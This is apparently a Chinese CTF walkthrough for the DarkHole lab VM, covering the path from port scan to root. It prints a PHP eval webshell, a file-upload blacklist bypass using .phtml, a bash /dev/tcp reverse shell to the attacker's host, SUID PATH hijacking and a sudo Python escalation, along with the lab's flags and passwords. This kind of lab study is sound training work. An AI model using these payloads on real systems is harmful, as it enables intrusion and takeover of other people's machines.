目录
arp -scan -l / nmap -sP 10.0.2.0/24
nmap -A -T4 -p 0-65535 10.0.2.246
有个 id 号,想水平越权,发现不行,发现有个修改密码功能,尝试垂直越权修 改 admin 的密码,抓包的时候 id=2,猜测 admin 为 id=1
修改成功,尝试登录,发现成功用 admin/123456 登录,有一个文件上传功能
蚁剑连接(终端运行桌面的 antsword.sh 文件即可运行蚁剑)
bash -c 'bash -i >& /dev/tcp/10.0.2.228/8888 0>&1'
在家目录下面发现了一个 toto 文件,执行发现和 id 一样的功能(当 s 权限在文 件所有者 x 权限位上时,例如:-rwsr-xr-x,此时称为 Set UID,简称为 SUID
创建名为 id 的文件,将 bash 文件的位置写入 id 当中,然后使用 export 修改环 境变量,优先加载 tmp 下的 id 文件,echo 输出 path 查看是否修改成功
编辑一个本地的 id 命令,由于 tmp 目录 www 用户有权限所以写入其中,并给予 777 权限
由于 PATH 会按照顺序匹配,后写的 PATH 在旧的 PATH 之前,因此会优先执行我
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
查看 user.txt 拿到第一面 flagDarkHole{You_Can_DO_It}
发现 john 可以使用 root 身份执行 file.py
echo ‘import pty; pty.spawn(“/bin/bash”)’ > file.py
sudo python3 /home/john/file.py #以 root 的身份执行 file.py 得到 root 的 bin/bash
查看 id 发现提权成功 拿到第二面 flag DarkHole{You_Are_Legend}
1.找到靶机
arp -scan -l / nmap -sP 10.0.2.0/24

2. 扫描靶机端口,发现开放 22 和 80 端口
nmap -A -T4 -p 0-65535 10.0.2.246

- 访问 80 端口,首页是一个静态页面,在源代码中发现 login.php


访问 login.php 页面,是个登录页面,由于前面提示说不需要浪费时间爆破, 所以先不爆破,去注册页面注册个账号然后登录进来,注册的时候使用 admin 注册,提示说已存在,可得知 admin 账户存在


有个 id 号,想水平越权,发现不行,发现有个修改密码功能,尝试垂直越权修 改 admin 的密码,抓包的时候 id=2,猜测 admin 为 id=1

修改成功,尝试登录,发现成功用 admin/123456 登录,有一个文件上传功能

- 上传 shell 发现对文件类型有限制,经过尝试发现 phtml 没有在黑名单,成 功绕过,并且能够成功解析 <?php @eval($_POST['369']);?>
注:php 语言除了可以解析以 php 为后缀的文件,还可以解析 php2,php3、php4、 php5,phtml


蚁剑连接(终端运行桌面的 antsword.sh 文件即可运行蚁剑)

5. 反弹 shell
kali 运行 nc 监听端口
nc -lvnp 8888

蚁剑打开终端
bash -c 'bash -i >& /dev/tcp/10.0.2.228/8888 0>&1'


6. 提权
cat
/etc/passwd


发现 root 用户和 john 用户可以登录 bash
6.1 提权到 john 用户
进入 john 家目录

在家目录下面发现了一个 toto 文件,执行发现和 id 一样的功能(当 s 权限在文 件所有者 x 权限位上时,例如:-rwsr-xr-x,此时称为 Set UID,简称为 SUID
的特殊权限,即当执行该文件时将具有该文件所有者的权限;当 s 权限在文件组 x 权限上时,例如:-rwx--s--x,此时称为 Set GID,简称为 SGID 的特殊权限, 执行者在执行该文件时将具有该文件所属组的权限。)
user.txt 和 passwd 文件,发现没有权限查看
创建名为 id 的文件,将 bash 文件的位置写入 id 当中,然后使用 export 修改环 境变量,优先加载 tmp 下的 id 文件,echo 输出 path 查看是否修改成功

编辑一个本地的 id 命令,由于 tmp 目录 www 用户有权限所以写入其中,并给予 777 权限
echo ‘/bin/bash’ >> /tmp/id
chmod 777 /tmp/id

把刚刚写好的 id 添加到本地 bash 的环境变量中
由于 PATH 会按照顺序匹配,后写的 PATH 在旧的 PATH 之前,因此会优先执行我
们写的 id 命令
export PATH=/tmp:$PATH

运行 toto
python 调交互 bash
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

查看 user.txt 拿到第一面 flagDarkHole{You_Can_DO_It}

cat password
拿到 john 密码 john/root123

6.2 提权至 root

sudo -l #查看 john 的权限

发现 john 可以使用 root 身份执行 file.py
查看 file.py 文件啥也没有

写入 python 调 bash 代码
echo ‘import pty; pty.spawn(“/bin/bash”)’ > file.py

执行 file.py
sudo python3 /home/john/file.py #以 root 的身份执行 file.py 得到 root 的 bin/bash

查看 id 发现提权成功 拿到第二面 flag DarkHole{You_Are_Legend}

2391

被折叠的 条评论
为什么被折叠?



